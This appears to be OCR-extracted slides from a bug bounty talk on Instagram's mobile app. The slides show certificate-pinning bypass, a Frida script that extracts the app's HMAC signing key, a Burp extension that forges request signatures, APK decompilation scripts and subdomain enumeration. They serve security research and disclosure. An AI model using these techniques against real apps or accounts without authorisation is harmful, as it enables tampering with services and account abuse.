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INTRODUCTION

BUG'BOUNTY HUNTING Motivation

Intention since 2012
CTF-like, with rewards
Write-ups

Timing

Since April 2015
Time spent: +-6 weeks
Vacations sacrificed ©




INTRODUCTION

Fast beautif L:Ig photo sharing

« “Facebook for Mobile Pictures”: iOS & Android Apps, Web
* 400+ Million Monthly Active Users in September 2015

* Included in Facebook’s Bug Bounty Program ©




INTRODUCTION

Private account

@bruteforceme » Instagra. X

€« — C & https://www.instagram.com/bruteforceme/?hl=en &y

thagflﬂ.WL Q Search Gettheapp Login

bruteforceme

1post O followers 0O following

This Account is Private

Request to follow bruteforceme to

see their photos and videos.

ABOUTUS SUPPORT EBLOG PRESS APl JOBS

PRIVACY TERMS LANGUAGE

Public account

€ - C' | B https://www.instagram.com/cats_of_instagram/?hl=en B9y 3

Gettheapp Login

cats_of_instagram | FoLLow

Cats of Instagram It's # TwitterWeek!: Follow us on Twitter & send us (@)
your ONE best cat photo for a chance to be featured! __ web:
catsofinstagram.com twitter.com/catsofinstagram

T——

4,804 posts  5.3m followers 7 following







MAN-IN-THE-MIDDLE

€ @ nhtips:/instagram.com ¢ @ Q search O 3 A 40 =
9:41 AM
DIRECT
Username
crcunningham
Password Forgot?

e “
ﬁ rourkery

Don't have an account? Get the app to sign up.

£ sap o
‘g: ¥ - # Download on the GETITON
—— « App Store P> Google play

ABOUTUS SUPPORT BLOG PRESS APl JOBS PRIVACY TERMS LANGUAGE © 2015 INSTAGRAM 9




MAN-IN-THE-MIDDLE

€ @ nhtips:/instagram.com ¢ @ Q search O 3 A 40 =
9:41 AM
DIRECT
Username
crcunningham
Password Forgot?

e “
ﬁ rourkery

Don't have an account? Get the app to sign up.

&) sap ot
‘g: ¥ - #Z  Download on the GETIT ON
—— @& AppStore P> Google play

ABOUTUS SUPPORT BLOG PRESS APl JOBS PRIVACY TERMS LANGUAGE © 2015 INSTAGRAM




MAN-IN-THE-MIDDLE

« Attempt 1: Android Wifi Proxy Settings

l] Saving screenshot... ~ |

* Trusted credentials

SYSTEM
Proxy

Manual

PortSwigger
PortSwigger CA

The HTTP proxy is used by the
browser but may not be used by the
other apps.

Proxy hostname l Add J Run ning | Interface |
192.168.0.226 [t 192.168.0.226:8080

Proxy port | Edit I

8080

| Remove |
Bypass proxy for

Burp Proxy uses listeners to receive incoming HTTP

IP settings
DHCP

Cancel

A

11




MAN-IN-THE-MIDDLE

« Attempt 1. Android Wifi Proxy Settings (ctd.)

AX N F. 41159

& https arneswinnen.net (' @ E

Q Arne Swinnen's Security ...

Burp Intruder Repeater Window Help

Target | Proxy T Spider TScanner T Intruder T Repeater
The password you entered is incorrect.

Please try again. Intercept | HTTP history TWebSockets history T Options 1

| Filter: Hiding script, XML, CSS, general text, image, flash and ge

Dismiss

AUGUST 16,2014
1

# v | Host | Method | URL
324 https://www.arneswinnen.net  GET /

AUGUST 16, 201

? Help make Google Chrome better by

\) automatically sending usage
statistics and crash reports to
Google!

Allow

o _— —=!

Instagram v6.18.0
25/03/2015

12




MAN-IN-THE-MIDDLE

« Attempt 1: Android Wifi Proxy Settings (ctd.)

A S

= https//www.arneswinnen.net ' @

Q  Arne Swinnen's Security ...

AUGUST 16,2014
One Packer to Rule Them

All: Empirical Identification,
Comparison and
Circumvention of Current
Antivirus Detection

Techniques

AUGUST 16,2014

ProtoLeaks: A Reliable and
Protocol-Independent
Network Cavert Channel

Repeater Window Help

Spider TScanner T Intruder T Repeater

TTP history TWebSockets history T Options ]

script, XML, CSS, general text, image, flash and ge

| Method | URL
/www.arneswinnen.net  GET /

#=~ Help make Google Chrome better by
& Libmaicaly sond
automatically sending usage
statistics and crash reports to

Google!

Allow

13




MAN-IN-THE-MIDDLE

« Attempt 2: Ad-hoc WiFi Access Point

-

z

]

3 odid1za

€&  Tethering & portable hots... i
USB tethering
Tethered .

Status

Portable Wi-Fi hotspot
Connected
Set up Wi-Fi hotspot Signal strength
nviso-cvba WPA2 PSK portable Wi-Fi hotspot Excellent
Link speed
Bluetooth tethering 54Mbps
Not sharing this phone's Internet
connection

Security
WPA2 PSK
IP address

192.168.2.13

Cancel Forget

Personal Android device Personal Macbook Pro Android Test Device
USB Tethering ON Internet Sharing via WiFi ON Connected to Ad-hoc Network

14




MAN-IN-THE-MIDDLE

« Attempt 2: Ad-hoc WiFi Access Point (ctd.)

@ < i Network Q
Location: ~Automatic | T
Nexus 5 < . >
Connected Status: Connected
o = Nexus 5 is currently active and has the IP
o Wi-Fi — address 192.168.42.125.

a 0 9% (%) Thui2:45 Q =

@ < HE Sharing Q

Computer Name: Arne

Computers on your local network can access your computer at: Edit . . . .
Arne.local Burp Proxy uses listeners to receive incoming HTTP requests
i
On  Service @ Internet Sharing: On . .
Screen Sharing Internet Sharing allows other computers to share your connection to the l Ad d J R — ng | In te rface l InVI S| b | ¢
File Sharing Internet. Computers connected to AC power won't sleep while Internet E] 1 2 7 O O 1 8080 @

Printer Sharing Sharing is turned on. -
Remote Login Share your connection from: Nexus 5 2 | Edit I

Remote Management

Remote Apple Events To computers using: ) ‘orts Remove
+ Internet Sharing [—J

Bluetooth Sharing

[ BON | ) pfetl.conf — Tools

rdr pass on bridgel@® inet proto tcp from 192.168.2.0/24 to any port http -> 127.0.0.1 port 8080

rdr pass on bridgel@® inet proto tcp from 192.168.2.0/24 to any port https -> 127.0.0.1 port 8080




MAN-IN-THE-MIDDLE

« Attempt 2: Ad-hoc WiFi Access Point (ctd.)

AX N F. 41159

& https arneswinnen.net (' @

Q Arne Swinnen's Security ...

AUGUST 16,2014

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater TSequencer T Decoder T

Please try again.

| Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions

# ¥|Host | Method | URL

712 https://i.instagram.com POST /api/v1l/accounts/login/

711 https://i.instagram.com GET /api/v1l/si/fetch_headers/?guid=b...
704 https://www.arneswinnen.net  GET !

Dismiss

AUGUST 16,2014

The password you entered is incorrect. Intercept | HTTP history TWebSockets history T Options ]

? Help make Google Chrome better by

\) automatically sending usage
statistics and crash reports to
Google!

Allow

o _— —=!

Instagram v6.18.0
25/03/2015
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MAN-IN-THE-MIDDLE

« Attempt 2: Ad-hoc WiFi Access Point (ctd.)

AW + A
v.arneswinnen.net |E

& https:/

Q  Arne Swinnen's Security ...

AUGUST 16,2014

One Packer to Rule Them

All: Empirical Identification,

elp

Comparison and

q Intruder T Repeater TSequencer T Decoder T

Circumvention of Current

kets history | Options

Antivirus Detection

mage and flash content; hiding specific extensions

| Method | URL
POST /api/v1l/accounts/login/
GET /api/v1l/si/fetch_headers/?guid=b...
GET /

Techniques "
AUGUST 16,2014

ProtoLeaks: A Reliable and
Protocol-Independent

Netwark Cavert Channel

#=~ Help make Google Chrome better by
& ietomaicaly send
automatically sending usage
statistics and crash reports to

Google!

Allow

N2iagsnaraiors

17




MAN-IN-THE-MIDDLE

« Attempt 2. Ad-hoc WiFi Access Point (ctd.)

ASN F. 41159

& https arneswinnen.net (' E

Q ArmeSwinnen's Security... =

AUGUST 1¢

Burp Intruder Repeater Window Help

Error Target | Proxy T Spider TScanner T Intruder T Repeater
An unknown network error has oceurred. Intercept | HTTP history T WebSockets history T Options 1

| Filter: Hiding script, XML, CSS, general text, image, flash and ge

Dismiss

# ¥ | Host | Method | URL

324 https://www.arneswinnen.net  GET /

? Help make Google Chrome better by

\) automatically sending usage
statistics and crash reports to
Google!

Allow

o _— —=!

Instagram v7.10.0
05/11/2015

18




MAN-IN-THE-MIDDLE

« Attempt 2: Ad-hoc WiFi Access Point (ctd.)

2 https:// v.ameswinnen.net '

Q Arne Swinnen's Securit

AUGUST 16,2014
One Packer to Rule Ther

All: Empirical Identificatic
Comparison and
Circumvention of Curren
Antivirus Detection

Techniques

AUGUST 16,2014

ProtoLeaks: A Reliable a
Protocol-Independent
Netwark Covert Channel

apeater Window Help

TSpider TScanner T Intruder T Repeater

P history TWebSockets history T Options ]

ot, XML, CSS, general text, image, flash and ge

| Method | URL
mwv.arneswinnen.net  GET /

#=~ Help make Google Chrome bette

& Libmaicaly sond
automatically sending usage
statistics and crash reports to
Google!

Allow

19




MAN-IN-THE-MIDDLE

« Attempt 3: Ad-hoc WiFi AP & Generic Bypass Pinning

-

CYDIA
=R NGO )

https://github.com/iSECPartners/Android-SSL-TrustKiller

>Android-SSL-TrustKiller

Blackbox tool to bypass SSL certificate pinning for most applications running on a device.

Description

This tool leverages Cydia Substrate to hook various methods in order to bypass certificate pinning by
accepting any SSL certificate.




MAN-IN-THE-MIDDLE

« Attempt 3: Ad-hoc WiFi AP & Generic Bypass Pinning

| by




MAN-IN-THE-MIDDLE

« Attempt 4: Ad-hoc WiFi AP & Smali Bypass

Frpm ®» = O W ejava 2 = 0 < Search 2

i

public final void a(String paramString, Certificate[] paramArrayOfCertificate) - N L4 | %|
{ - _—
int i = @;
set localSet = a(paramString);
if (localSet == null);
¥s5e9Certificate[] array0fX5e9Certificate; =]
while (true)

> byd Instagram 7.10.0
> {:pd Instagram 7.9.0

return;
try

array0fXsedCertificate = a.g((X5@9Certificate[])paramfirray0fCertificate, this.b);
int j = array0fX589Certificate.length;
for (int k = @8; ; k++)

if (k »= j)
break label8s; O
if (localSet.contains(a((X5@9Certificate)array0fXs@9Certificate[k])))
break;
}

20
o0 }
a1 catch (CertificateException localCertificateException)
a2
83 throw new, sstPesrUnverifisdException(localcertificateException. tostring (s
a4
64 }
@s ¥ i
a6 labelds: StringBuilder localstringBuilder = new StringBuilder("Certificate pinning failure!\n
a7 int m = array0fXs5@9Certificate.length;
a3 while (i < m)
a9
1 XseaCertificate localXs@9Certificate = (X5@9Certificate)array0fxX5e9Certificate[i]; =
localstringBuilder. append(™\n ").append(a(localXs@9Certificate)).append(”: ").append(loc
i++;
}
localStringBuilder.append(”\n Pinned certificates for ").append(paramString).append(”:"); =
Iterator locallterator = localSet.iterator(); =
while (localIterator.hasNext()}) =
d locald = (d)locallterator.next(); =
localstringBuilder.append(*\n  sha1/").append(locald.b()); =
¥
throw new 33LPeerUnverifisdException(lecalatringfuilder. tostring()); =
22 }
23




MAN-IN-THE-MIDDLE

« Attempt 4: Ad-hoc WiFi AP & Smali Bypass (ctd.)
© APK Studio | Android Reverse Engineering Workbench | By Vaibhav Pandey a.k.a VPZ
File View About
& O |¥ Cean Alt+C
#° Build F5 .
Projects e L = & | [z esmal
=]  Properties Alt+P I
P L II"IStﬂgr:rrrr_r_J.Lr_Lr ﬂ e.smali |
. aSS_EtS # virtual methods
4 | build .method public final wvarargs a(lLjava/lang/String;[Ljava/security/cert/Certificate; )V
> apk return-wvoid
% rebuilt.apk .locals B

Burp Intruder Repeater Window Help

{Target T Proxy TSpider TS:anner T Intruder T Repeater ISequen:er T Decoder TCumparer T Extender TOptiuns T Alerts ]

Intercept | HTTP histary. TW&bSockets histary T Options ]

| Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions

# ¥ | Host Method | URL Params | Edited |Status | Length MIME type | Extension
927 https://i.instagram.com POST /apifvl/accounts/login/ ) g 400 554 JSON
EAN
The password you entered is incorrect Request | Response
Please try again
Raw | Params | Headers | Hex
Dismiias POST /api/vl/accounts/login/ HTTE/1.1
-form-urlencoded; charset=UTF-8
(19/4. en_US)
£21d449

Encoding: gz




MAN-IN-THE-MIDDLE

« Attempt 4: Ad-hoc WiFi AP & Smali Bypass (ctd.)

‘ APK Studic | Android Reverse Engineering We
File Edit | Project | View About

& O |¥ Cean Alt+C
#° Build F5
Projects
=]  Properties Alt+P

4 | ¥ II"IsLﬂgr:rrrr_:_:.u'_u
> |y assets
4 || build
s Ly apk

‘ﬁ rebuilt.apk

svasecurity/cert/Certificate; )V

m Extender TOptiuns TA\erls 1

1s | Edited |Status | Length | MIMEtype | Extension |
8] 400 554 JSON

The password you entered is incorrect.
Please try again.

Dismiss

google; Nexus 4; mako; mako; en US)
wH9 NWNYhimepG

%22%3R%224234€]
1d2%22 122“»2Z




SIGNATURE KEY PHISHING

Burp Intruder Repeater Window Help
Target | Proxy TSpider TScanner T Intruder T Repeater TSequencer T Decoder TComparer T Extender TOptions TAIerts ]

Intercept | HTTP history TWebSockets history TOptions ]

Filter: Hiding XML, CSS, general text, image and flash content; hiding specific extensions

# ¥ | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension |
927 https://i.instagram.com POST /api/vl/accounts/login/ ] O 400 554 JSON

<

J Request T Response ]
J Raw T Params T Headers T Hex ]

POST /api/vl/accounts/login/ HTTP/1.1

X-IG-Connection-Type: WIFI

X-IG-Capabilities: HQ==

Content-Length: 367

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Host: i.instagram.com

Connection: Keep-Alive

User-Agent: Instagram 7.10.0 Android (19/4.4.4; 320dpi; 768x1184; LGE/google; Nexus 4; mako; mako; en US)

Cookie: csrftoken=423d22c063a801£466£21d449edB8all3; mid=VkSXsQABAAEOXswHY9 NWNYhimepG
Cookie2: SVersion=1

Accept-Language: en-US
Accept-Encoding: gzip

signed body=da65262740c077cf0488ba%9185c9c05b6474b500edc7Te7bal83871a3b63849919.%57B%22 csrftokens22%3A%22423d
d%22%3R%22p0644495-5663-4917-b889-156£95b7£610%22%2C%22device 1d%22%3A%22android-£86311b4vsabj7d2%22%2C%22
sig key version=4




SIGNATURE KEY PHISHING

signed_body= ®
0df7827209d895b1478a35a1882a9el1c8
7d3ball4cf8b1f603494b08b5d093b1.
{" csrftoken":"423d22c063a801f468f2
1d449ed8al103","username":"abc","gu _ _
id":"b0644495-5663-4917-h880- e
156f95b7f610","device_id":"android-
f86311b4vsabj/7d2","password":"abc",
"login_attempt _count":"11"}

HMAC

SHA256




SIGNATURE KEY PHISHING

signed_body= ®
0df7827209d895b1478a35a1882a9el1c8
7d3ball4cf8b1f603494b08b5d093b1.
{" csrftoken":"423d22c063a801f468f2
1d449ed8al103","username":"abc","gu _ _
id":"b0644495-5663-4917-h880- e
156f95b7f610","device 1d":"android-
f86311b4vsab5;j7d2" "
"login_attempt_coun

HMAC

SHA256

( PHISHING )




SIGNATURE KEY PHISHING

] StringBridgejava &1
1 package com.instagram.strings;
2
& 3% import gom.facebook.f.a.a;0]
5 . v instagram-7-10-0-rmulti-android » lib » armeabi-v7a
6 public class StringBridge
7 - |_] Open Share with - Mew folder
8 private static boolean a = false; - i
9 Mame Type Size
ﬁ' Etat" [ Mabreakpad.so 50 File 58 KB
12 try || libcj.so 50 File 18 KB
13 i | libfb_jpegturbo.so 50 File 150 KB
14 h.a("scrambler”); || libglcommon.so 50 File 14 KB
= h.a("strings"); libgnust|_shared 50 Fil 778 KB
16 return; __| libgnustl_shared.so ile 77
17 1 || libhalide.so SO File 186 KB
18 catch (Throwable localThrowable) | ] libigbitmap_fer_v2l.s0 50 File 10 KE
19 { o _ _ )
. . we s . : : R | libigbitmap_runtime_for_v2l.se 50 File 14 KB
B2e a.bhistringBridege.class,. ~Failed to load native string libraries”, localThrowablels _ _g_ i ) )
39 g = true; | libigjhead.so 50 File 54 KB
22 ¥ | libjpegutils.so 50 File 18 KB
4;‘" ¥ || libogg.so 50 File 14 KB
< . . . P
25  public StringBridge() | libguicksand.so S0 File 22 KB
26 { |._. libscrambler.so SO File 126 KB
27 } | ] libsigmux.so 50 File 6 KB
28 . . .
libstackblur. SO Fil 18 KB
29=  public static boolean a() L] heackhurso =
30 { | libstrings.so 50 File 14 KB
31 return a; | libviden.so 50 File 1.590 KB
32} || libvpx.so 50 File 506 KB
s s |
34 public static mative String getInstagramString(String paramString);
35
el public static native String getSignatureString(byte[] paramArrayOfByte);
37}

28




SIGNATURE KEY PHISHING

int Java_com_instagram_strings_StringBridge_getSignatureString(int arg@) {

rg8 = x0x3190;

r7 = (sp - 0xec) + 0x0;
r5 = r2;

r8 = x0x3f90;

r4 = arg@;

*(r7 + 0xed) = xr8;

r3 = xarg0;

r3 = x(r3 + 0x2e0);

re = (r3)(arg@, r2, 0x0, r3, var_110, var_10C, var_108, var_104, var_10@, var_FC, var_F8, var_F4, var_F0);
r3 = xr4;

r3 = x(r3 + 0x2ac);

rle = ro;
re = (r3)(r4, r5);
r3 = ro;
*(r7 + 0x4) = r3;
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(); Pil\ﬂ/a\(:
rll = Scrambler::getString();
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string(); SSI—{/XZZESES
sp = sp - @xec - (crypto_auth_hmacsha256_bytes() + @x7 & !0x7);
roe = strlen(ril); k(f;)/
crypto_auth_hmacsha256_init(r7 + 0x14, rll, ro);
r3 = x(r7 + 0x4);
crypto_auth_hmacsha256_update();
crypto_auth_hmacsha256_final(r7 + 0x14, sp);
(x(xrd4 + 0x300))(r4, r5, rld, 0x0);
re = crypto_auth_hmacsha256_bytes();
r5 0x0;
ré = operator newl[1();
while (r5 < crypto_auth_hmacsha256_bytes()) {
snprintf(ré + r5 x 0x2, 0x3, 0x2ce9);
r5 = r5 + 0x1;

}
r4 = (x(krd4 + 0x29c))(r4, r6);
if (r6 != 0x@) {

operator delete[]();

1
r8 = x0x3190;
r2 = %x(r7 + 0xed);
re = r4;
if (r2 '= xr8) {

ré = __stack_chk_fail();
H

return r@;




SIGNATURE KEY PHISHING

int Scrambler::getString(std::string)(void arg@) {

re = arg@;

r3 = 0x2000c;

r7 = %r3;

r7 = r7 + 0x4;

rd = x(r7 + 0x4);
rs =r7;

while (r4 != 0x0) {
if (std::string::compare() < 0x0) {
r3 = x(rd4 + 0xc);

}

if (CPU_FLAGS & L) {
r4 = r5;

¥

if (CPU_FLAGS & GE) {
r3 = x(r4 + 0x8);

}
rs5 = r4;
r4 = r3;

if ((r5 '= r7) && (std::string::compare() >= 0x0)) {
re = x(r5 + 0x14);
ré = Scrambler::decrypt(ro);

¥
else {

ro = 0x0;
}

return re;




SIGNATURE KEY PHISHIN

Source:

* gikdbg.art v1.3.build140723.25 - [ART CPU]
File View Debug ARTDebug Trace Plugins Options Windows ART Help

ToABEA3Y 4FFBEQ2D push.w {r4&, v5, r6, v7, r8, r9, r18, ri11, 1lr} « Register (ARM)
FoARBG38|| - BOBBE sub sp, #@xec
75ABB0B3A(| - 8108FBDF ldr.w v8, [pc, #8x10808]
FCARBO3E(|| - AFG0 add r7, sp, #8x89
FoARBO4O|| - B61G mov r5, r2

FoAB8AN2 + BUFB add ¢8, pc 775E8418
75A88044|| - 80BOFEDS ldr.w r8, [r8] 10380865
FoAB8 AL - b6 nov ri1, r2 78FF8A18
ToAggauA || - 2288 novs r2, #0x8 78FF8n00
FSABBALC(]| - WHBY mov r4, r@ 48135384
7CABBOLE(]| - 300BF8DB ldr.w r3, [r8] 7772ECEL
75A88052|( - 610F107 add.w ré, ¥7, #0810 e
75A88056 || - 30ELFECT str.w r3, [¢7, #228] 78FEBB2L
7oAB80SA|| - 6803 1ldr ¢3, [rB] i
FGARBOLC|| - I2EOFBD3 1dr.w r3, [r3, #736]
FoAB8AGH - 4JFOB blx r3 78FF8n0a
FSABBOGZ(| - 6823 1dr r3, [ra]
FoARBOGL|| - B62D mov ri1, r&

75ABBAGG (| - 32ACFBD3 ldr.w v3, [v3, #684]
FSABBO6A|| - W6B2 mov r18, r@
FoARBBGC|| - L6280 mov r@, rh

7SABBBGE|| - 4708 blx ¥3

FoARBAE7O(| - 4933 ldvr r1, [pc, #Bxcc]
FoARBGTZ|| - 28CF187 add.w r2, ¢7, HBxc
FLABBAFGO|| - hu7O add v1, pc

FoARBAGTH|| - L683 r3, ri

7LABBAYA(] - w638 ra, v

FSABBAYC|| - 687B str r3, [r7, #824]
FCARBGTE|| - EF1BFFFF blx

7oABBAB2(] - 4638 ra, rbo

FCARBOBL|| - EF1AFFFF blx

Address 78FFenon IR TILGIEESET
F¥168B60 FBFFEABY4 || AOBAEBAOC3 |0
FF168B7 0

77168B8A 7EFFBABC || 4226A548 [ HD &B

77168B98 78FFBA18|| 7715FOEY

c1c7d84501d2f0df05c378f5efh9120909ecfh39dff5494aa361ecOdeadh509a



http://mokhdzanifaeq.github.io/extracting-instagram-signature-key-2/

SIGNATURE KEY PHISHING

HMAC Generator / Tester Tool

Computes a Hash-based message authentication code (HMAC) using a secret key. A HMAC is a small set of data that helps authenticate the nature of
messaage; it protects the integrity and the authenticity of the message.

The =zecret key is a unique piece of information that is used to compute the HMAC and is known both by the sender and the receiver ofthe message. This key
will vary in length depending on the algorithm that you use.

| use Bouncy Castle for the implementation.

You can also use this page in HTTPS (55L).

Copy-paste the message here
{"_csrftoken":"423d22c063a801f4668f21d449edB8a103","usermname™:"abc”, "guid":"b0644495-5663-4917-bBB9-156f35b 76 10", "device_id":"android-
f86311bdvsabj7d2","password": "abc”,"login_attempt_count™:"12"}

Secret Key
c1cTd84501d2f0df05c378f5efbd120909ecfb39df5494aa361ec0deadb509a

Select a message digest algorithm

SHA256 -
COMPUTE HMAC

Computed HMAC (in Hex):
0df7827209d895b1478a35a1882a921c87d3ba114cf8b1f603494b08b5d093b1




SIGNATURE KEY PHISHING

HMAC Generator / Tester Tool

Computes a Hash-based message auth helps authenticate the nature of

messaage; it protects the integrity and the
The =zecret key is a unique piece of infor ithe receiver ofthe message. This key
will vary in length depending on the algor
| use Bouncy Castle for the implementati

You can also use this page in HTTPS (5

Copy-paste the message here

{"_csrftoken":"423d22c063a801f46
f86311bdvsabj7d2" "password": "ab =

56f35b7f610","device_id":"android-

Secret Key
c1cTd84501d2f0df05c 3785 efbd12(

Select a message digest algoritl

SHA256 E

COMPUTE HMAC

Computed HMAC (in Hex):
0df7827209d895b1478a35a1882a921c87d3ba114cf8b1f603494b08b5d093b1




SIGNATURE KEY PHISHING "/, D

hook.py +

import frida
import sys

session = frida.get_usb_device(1000000).attach("com.instagram.android")
script = session.create_script("""
fscrambler = Module.findExportByName(null,"_ZN9Scrambler9getStringESs");
Interceptor.attach(ptr(fscrambler), {
onLeave: function (retval) {
send("key: " + Memory.readCString(retval));

1
2
3
4
5
6
7
8
9

=
P o

)
IIIIII)

def (message, data):
print(message)

script.on('message', on_message)
script.load()
sys.stdin.read(ﬂ

Arne:Desktop aswinnen$ python hook.py
{u'type': u'send', u'payload': u'key: clc7d84501d2f0df@5c378f5efb9120909ecfb39dff5494aa36lecddeadb5@9a'}

34




SIGNATURE KEY PHISHING

1J BurpExtenderjava 52

21e @0verride
a22 public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)

23 {

24 // keep a reference to our callbacks object

25 this.callbacks = callbacks;

26 this.helpers = callbacks.getHelpers();

27 // set our extension name

28 callbacks.setExtensionName("Signature Instagram™);

29 // obtain our output stream

30 stdout = new PrintWriter(callbacks.getStdout(), true);

31 // register ourselves as an HTTP listener

32 callbacks.registerHttplListener(this);

33 }
@0verride
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo)
{

if(messageIsRequest) {
byte[] request = messageInfo.getRequest();
IParameter param = this.helpers.getRequestParameter(request, "signed_body");
if(param != null) {
String value = param.getValue();
int index = value.indexOf('.");

if(index != -1 && (index+1) < value.length(Q)) {
45 String origSig = value.substring(@, index);
46 String payload = this.helpers.urlDecode(value.substring(index+1));
47 String newSig = BurpExtender.calculateSignature(payload);
48 if(lorigSig.equals(newSig)) {
49 stdout.println("[Request] Modification detected! Updating signature now. [" + callbacks.getToolName(toolFlag) + "1");
50 String newValue = newSig + "." + this.helpers.urlEncode(payload);
51 IParameter newparam = this.helpers.buildParameter("signed_body", newValue, param.getType());
52 byte[] oldreq = this.helpers.removeParameter(request, param);
53 messageInfo.setRequest(this.helpers.addParameter(oldreq, newparam));
54
EE } }
56 }
}
58 }
59
b= private static String calculateSignature(String data) {
61 Mac sha256_HMAC;
62 try {
63 sha256_HMAC = Mac.getInstance("HmacSHA256");
64 SecretKeySpec secret_key = new SecretKeySpec(key.getBytes("UTF-8"), "HmacSHA256");
65 sha256_HMAC.init(secret_key);

66 return bytesToHex(sha256_HMAC.doFinal(data.getBytes("UTF-8"))).toLowerCase();




SIGNATURE KEY PHISHING

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I

J Extensions T BApp Store T APIs T Options ]

Burp Extensions

Extensions let you customize Burp's behavior using your own or third-party code.

Add Loaded | Type

W) Java

| Name

)
./

Signhature Instagram

Remove

Up

]

Down

i

Details | Output T Errors ]

() Output to system console

() Save to file: Select file ...

@® Showin Ul:
[Request] Modification detected! Updating signature now. [Proxy]
[Request] Modification detected! Updating signature now. [Repeater]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Intruder]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]
[Request] Modification detected! Updating signature now. [Scanner]




SIGNATURE KEY PHISHING

guccess success

What people What it really
think it looks like looks like

[Request] Modification detected! Updating signature now. [Scanner]




APK DECOMPILATION

1. Decompile APK to java source code (d2j-dex2jar & jd-cli)

4 h_—‘,J- Instagram 7.10.0

a 7% src
- G a.a

- A android.support

- g ba.aa

ProGuard ?

il tijava 53 =
£ 57 return new com.instagram.api.a.d().a( in L.b}.a("accounts/legin/™).b
58 ("username", paramStringl).b{"password”, paramString2).b({"device id", paramString3).b("guid”
59}
68
£ 61= public static l<m> a(String paramStringl, String paramString2, String paramString3, String paramString
62 {
£ 63 return new com.instagram.api.a.d().a{com.instagram.common.b.b.i.b).a("accounts/change password/").b
B4 ("user_id", paramStringl).b("new_passwordl”, paramString2).b({"new_password2", paramString3).
65}
66
g 67= public static l<g> b{5tring paramString)
68 {
£ 69 return new com.instagram.api.a.d().a{com.instagram.common.b.b.i.b).a("users/lockup/™).b
76 ("q", paramString).a(p.class).al).b().c();

I
e

|

-

o0 m

000 OO OO

o0 o000




APK DECOMPILATION

1. Decompile APK to java source code (d2j-dex2jar & jd-cli)

2. ldentify endpoints & compare APK versions programmatically

grep -roE \"' [N\, ]+ PN

Previol rsio
0 6.0 40
V711 V7.1.0 V7.0.0 V6.24.0
V6.20.2 V6.20.1 V6.19.0 VE.18.0




APK DECOMPILATION

1. Decompile APK to java source code (d2j-dex2jar & jd-cli)

2. ldentify endpoints & compare APK versions programmatically

extractEndpoints.py — APKs

import glob
import os

oldUrlsOnlyFile = "/dev/null"

apks = glob.glob("*.apk")

for apk in apks:
print apk
path = apk + ".decompiled"
urlfile = path + "/java/URLs. txt"
urlsOnlyFile = path + '/java/URLSonly.txt'
difffile = path + "/java/diff.txt"

if not os.path.exists(path):
print "Decompiling " + str(apk)
os.mkdir(path)
os.mkdir(path + "/java")
os.system("d2j-dex2jar -o " + path + "/dex2jar.jar " + apk)
os.system("java -jar ./jd-cmd/jd-cli/target/jd-cli.jar —-outputDir " + path + "/java " + path + '"/dex2jar.jar")

os.system('grep —-roE \'"[~":\. J+/[*":\. I*"\' ' + path + "/java/*" + ' > ' + urlfile)
os.system('cat ' + urlfile + ' | cut -d \'"\' -f2 | sort —u > ' + urlsOnlyFile)
os.system('comm -2 -3 ' + urlsOnlyFile + ' ' + oldUrlsOnlyFile + ' > ' + difffile)
print "Diff between " + oldUrlsOnlyFile + " and " + urlsOnlyFile

oldUrlsOnlyFile = urlsOnlyFile




APK DECOMPILATION

1. Decompile APK to java source code (d2j-dex2jar & jd-cli)
2. ldentify endpoints & compare APK versions programmatically

3. Testold (legacy code) & monitor new endpoints (fresh code)

= dif v7.10.0 vs v7.9.26¢ 13|

Fcccuntsfaccount_security_infaf

accounts/assisted account recovery/

L k2

; accounts/check confirmation code/
[=] diff w1.1.1 vs v1.1.00a E3

259

accounts/create validated/

zignals/=qg/tags/click/?

y L

accounts/disable sms two factor/

signals/=qg/tags/£fail/? & accounts/enable sms two factor/

by k2

zignals/=qg/users/fail/? accounts/get comment filterxr/

il

signals/=sgfusers/follow/? 8 accounts/regen backup codes/

Lo

5 tags/search/?%s accountzs/send one click login email/

accounts/send signup sms code/

LA

& users/search/?%s 1

accounts/send two factor enable sms/

accounts/send two factor login sms/

;
L k2

accounts/send verify email/

P

14 accounts/set comment filter/
15 accounts/two factor login/
16 accounts/validate one click login/

1 accounts/validate signup sms code/




VULNERABILITIES
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INFRASTRUCTURE

1. Instagram.com Subdomain Hijacking on Local Network

) TheRook/subbrute - GitH. x

€« C | @ GitHub, Inc. [US] | https://github.com/TheRook/subbrute

»subdomain-bruteforcer (SubBrute)

SubBrute is a community driven project with the goal of creating the fastest, and most accurate
subdomain enumeration tool. Some of the magic behind SubBrute is that it uses open resolvers as a
kind of proxy to circumvent DNS rate-limiting (https://lwww.us-cert.govincas/alerts/TA13-088A). This
design also provides a layer of anonymity, as SubBrute does not send traffic directly to the target's
name servers.

# python subbrute.py instagram.com
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1. Instagram.com Subdomain Hijacking on Local Network

# python subbrute.py instagram.com
instagram.com
www.instagram.com
blog.instagram.com
l.instagram.com
admin.instagram.com
mail.instagram.com
support.instagram.com
help.instagram.com
platform.instagram.com
api.instagram.com
business.instagram.com
bp.instagram.com
graphite.instagram.com
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1. Instagram.com Subdomain Hijacking on Local Network

Type Domain Name

A graphite.instagram.com

IP Address
10.213.65.21

TTL

& min

& instagram graphite - Goo: X

GO g|e instagram graphite

Web Afbeeldingen Nieuws Shopping

Ongeveer 1.690.000 resultaten (0,38 seconden)

L o C https://www.google.com/search?q=instagram+graphiet&oqg=instagram+graphiet&agqs

Video's Meer =

Keeping Instagram up with over a million new users in ...
instagram-engineering tumblr com/___/keeping-instagr._. ~ “ertaal deze pagina
We love statsd at Instagram. Whrtten by Etsy, it's a network daemon that aggregates

and rolls-up data into Graphite. At its core, it has two types of statistics:

d o

Zoekhulpmiddelen
